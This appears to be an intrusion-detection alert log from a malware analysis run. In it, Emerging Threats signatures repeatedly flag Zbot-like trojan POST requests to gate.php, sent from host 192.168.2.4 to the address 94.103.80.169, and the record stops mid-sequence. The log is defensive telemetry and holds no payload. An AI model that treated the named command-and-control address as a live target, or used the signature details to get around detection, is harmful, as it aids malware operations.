08/15/21-08:41:28.110838	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.110838	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.110838	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.252256	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.252256	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.252256	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.392187	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.392187	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.392187	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.533765	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.533765	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.533765	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.673829	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.673829	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.673829	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.816324	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.816324	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.816324	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.953279	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.953279	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:28.953279	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.097353	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.097353	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.097353	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.238107	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.238107	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.238107	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.375870	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.375870	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.375870	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.516773	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.516773	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.516773	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.658114	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.658114	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.658114	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.825571	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.825571	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.825571	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.970575	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.970575	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:29.970575	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.117328	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.117328	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.117328	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.266321	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.266321	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.266321	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.407060	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.407060	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.407060	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.547711	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.547711	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.547711	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.689320	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.689320	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.689320	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.845516	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.845516	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.845516	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.986499	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.986499	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:30.986499	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.125697	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.125697	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.125697	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.267108	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.267108	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.267108	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.407644	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.407644	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.407644	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.547474	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.547474	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.547474	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.694521	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.694521	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.694521	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.845343	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.845343	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.845343	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.986739	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.986739	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:31.986739	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.131488	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.131488	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.131488	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.282961	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.282961	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.282961	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.422582	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.422582	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.422582	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.563900	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.563900	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.563900	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.704592	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.704592	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.704592	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.846468	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.846468	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.846468	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.985490	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.985490	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:32.985490	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.126282	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.126282	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.126282	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.266244	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.266244	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.266244	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.427385	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.427385	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.427385	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.565370	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.565370	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.565370	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.733691	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.733691	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.733691	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.876316	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.876316	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:33.876316	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.016551	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.016551	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.016551	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.157865	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.157865	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.157865	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.298474	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.298474	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.298474	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.439128	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.439128	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.439128	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.623729	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.623729	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.623729	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.766340	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.766340	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.766340	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.925778	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.925778	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:34.925778	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.080220	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.080220	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.080220	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.220975	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.220975	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.220975	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.361157	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.361157	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.361157	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.505480	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.505480	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.505480	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.656792	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.656792	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.656792	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.801090	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.801090	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.801090	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.944548	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.944548	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:35.944548	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.096313	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.096313	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.096313	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.236061	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.236061	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.236061	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.376727	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.376727	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.376727	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.516910	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.516910	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.516910	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.657168	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.657168	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.657168	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.798265	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.798265	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.798265	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.938472	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.938472	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:36.938472	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.082229	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.082229	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.082229	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.224112	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.224112	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.224112	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.360705	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.360705	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.360705	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.503912	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.503912	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.503912	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.644288	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.644288	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.644288	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.786103	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.786103	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
